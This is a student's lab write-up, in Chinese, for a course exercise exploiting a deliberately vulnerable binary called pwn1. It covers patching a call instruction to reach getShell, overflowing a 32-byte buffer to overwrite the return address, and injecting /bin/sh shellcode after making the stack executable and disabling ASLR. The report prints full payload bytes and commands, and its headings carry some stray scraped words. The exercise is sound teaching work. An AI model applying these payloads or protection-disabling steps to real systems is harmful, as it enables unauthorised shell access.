2018-2019-2 20165330《網絡對抗技術》Exp1 PC平臺逆向破解

目錄


實驗目標

  • 本次實驗的對象是一個名爲pwn1的linux可執行文件。
    -該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
  • 該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode

返回目錄html


實驗內容

返回目錄linux


知識點描述

  1. 掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼shell

    • 使用objdump -d 20165330zyx可查看可執行文件20165330zyx的反彙編代碼及其對應機器碼
      image
    • 可知:
      • NOP:無做用,英文"no operation"的簡寫,意思是"do nothing"(機器碼90)
      • JNE:若不相等則跳(機器碼75
      • JE:若相等則跳(機器碼74
      • JMP:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB),段內直接近轉移Jmp near(機器碼:E9),段內間接轉移Jmp word(機器碼:FF),段間直接(遠)轉移Jmp far(機器碼:EA)
      • CMP:比較指令,cmp的功能至關於減法指令。它不保存結果,只是影響相應的標誌位(機器碼39)
  2. 掌握反彙編與十六進制編程器編程

    • 反彙編指令:objdump -d objfile,關於其餘用法可參考Linux下C程序的反彙編
    • 關於管道,輸入、輸出重定向參考linux下輸入輸出重定向和管道符
    • 十六進制編程器:用來以16進制視圖進行文本編輯的編輯工具軟件,其實咱們只須要用各系統都兼容的vim編輯器就能夠實現十六進制編輯的功能。具體步驟以下:
      • 輸入命令vi 20165330zyx查看可執行文件內容,發現大部分是咱們無法理解的亂碼;
      • esc後在底行輸入:%!xxd將顯示模式切換爲16進制模式;
      • 進行相關操做後,輸入:%!xxd -r轉換16進製爲原格式。
  3. 能正確修改機器指令改變程序執行流程vim

    見實驗步驟1sass

  4. 能正確構造payload進行bof攻擊安全

    見實驗步驟3bash

返回目錄網絡


實驗步驟

手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數
  • objdump -d 20165330zyx指令查看可執行文件的反彙編結果
  • 鎖定修改目標80484b5: e8 d7 ff ff ff call 8048491 <foo>
  • 對比getShell函數的地址0804847dfoo函數的地址08048491,能夠發現兩地址之差爲十六進制14;
  • call彙編指令的機器碼爲e8,咱們能夠鎖定這部分,後面的d7 ff ff ff這四個字節爲數值部分,表明指令跳轉時須要與eip寄存器相加的偏移量
  • 若是咱們想讓函數調用getShell,只須要修改d7 ff ff ff便可。因爲數值存儲方式爲小端方式,因此鎖定須要改的字節爲d7,將它與地址差14作減法運算後的值爲c3
  • 下面修改可執行文件,將其中的call指令的目標地址由d7ffffff變爲c3ffffff
    • cp 20165330zyx 20165330pwn2複製文件
    • 使用vi 20165330pwn2編輯可執行文件;
    • esc後,輸入%!xxd將顯示模式切換爲十六進制模式
    • 在底行/d7查找須要修改的內容,將d7改成c3
    • 轉換16進製爲原格式::%!xxd -r
    • 保存退出::wq
  • 此時咱們反彙編可看到call指令調用的函數被改
    image
  • 輸入./20165330pwn2運行該可執行文件
    image
利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數
  • 可執行文件正常運行是調用foo函數,咱們發現這個函數有Buffer overflow漏洞
  • foo函數讀入字符串,但系統只預留了32字節的緩衝區,超出部分會形成溢出,咱們的目標是覆蓋返回地址
  • 正常時call調用foo,同時在堆棧上壓上返回地址值0x80484ba
  • 確認輸入字符串哪幾個字符會覆蓋到返回地址
  • gdb 20165330pwn(pwn的副本)調試程序,輸入有規律的字符串如1111111122222222333333334444444412345678,發生段錯誤產生溢出
    image
  • info r查看寄存器eip的值,發現輸入的1234被覆蓋到堆棧上的返回地址
    image
  • 這是咱們就將getShell的地址0x0804847d把1234替換便可
  • 因爲數據按小端存儲,咱們的正確輸入爲11111111222222223333333344444444\x7d\x84\x04\x08
  • 由於咱們無法經過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,輸入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成包括字符串的一個文件(\x0a表示回車)
  • 使用16進制查看指令xxd查看input文件的內容是否如預期
  • 確認無誤後用(cat input;cat) | ./20165330pwn將input中的字符串做爲可執行文件的輸入
    image
注入一個本身製做的shellcode並運行這段shellcode
  • 下載execstack程序以便接下來能夠設置易於攻擊的環境:apt-get install execstack
  • 準備工做
    • 修改些設置dom

      execstack -s pwn1    //設置堆棧可執行
       execstack -q pwn1    //查詢文件的堆棧是否可執行
    • 查看地址隨機化的狀態:more /proc/sys/kernel/randomize_va_space
    • 關閉地址隨機化:echo "0" > /proc/sys/kernel/randomize_va_space
  • 構造要注入的payload
    • 目的:將shellcode代碼寫入buffer(緩衝區足夠大),或把shellcode放在返回地址後(緩衝區小),把返回地址改成buffer的首地址
    • 咱們選擇retaddr+nops+shellcode結構來攻擊buf,在shellcode前填充nop的機器碼90:

      perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
       //上面的\x4\x3\x2\x1將覆蓋到堆棧上的返回地址的位置。咱們得把它改成這段shellcode的地址。
       //特別提醒:最後一個字符千萬不能是\x0a
    • 注入:(cat input_shellcode;cat) | ./20165330pwn
    • 再打開一個終端查看執行文件進程號ps -ef | grep 20165330pwn
      image
    • 啓用gdb調試進程,attach 2222與進程創建鏈接
    • 設置斷點查看注入buf的內存地址

      disassemble foo //反彙編
       break *0x080484ae //設置斷點
       //在另一個終端中按下回車
    • c繼續
    • info r esp查看esp棧頂指針的地址
    • 使用x/16x 0xffffd33c查看其存放內容,看到01020304,就是返回地址的位置。根據咱們構造的input_shellcode可知,shellcode就在其後,因此地址是 0xffffd340,即0xffffd33c加上4字節
      image
    • c-quit退出gdb調試,回到以前的終端輸入exit退出命令,修改以前的\x4\x3\x2\x1部分:perl -e 'print "A" x 32;print"\x40\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
    • 再次運行(cat input_shellcode;cat) | ./20165330pwn後發現執行成功
      image

返回目錄


實驗過程當中遇到的問題


實驗感想

  • 實驗收穫與感想

    在此次實驗中不只懂得了什麼是緩衝區溢出,也動手實現了緩衝區溢出,而且也把上學期所學的一些內容又串聯在了一塊兒,加深了我對堆棧的理解。

  • 什麼是漏洞?漏洞有什麼危害?

    • 緩衝區溢出就是輸入的內容超過所分配的緩衝區空間,被溢出的內容因爲設計的缺陷沒有被馬上檢查到,而破壞堆棧覆蓋一些原始數據。
    • 會致使程序運行失敗、系統關機、從新啓動,或者執行攻擊者的指令,好比非法提高權限。
相關文章
相關標籤/搜索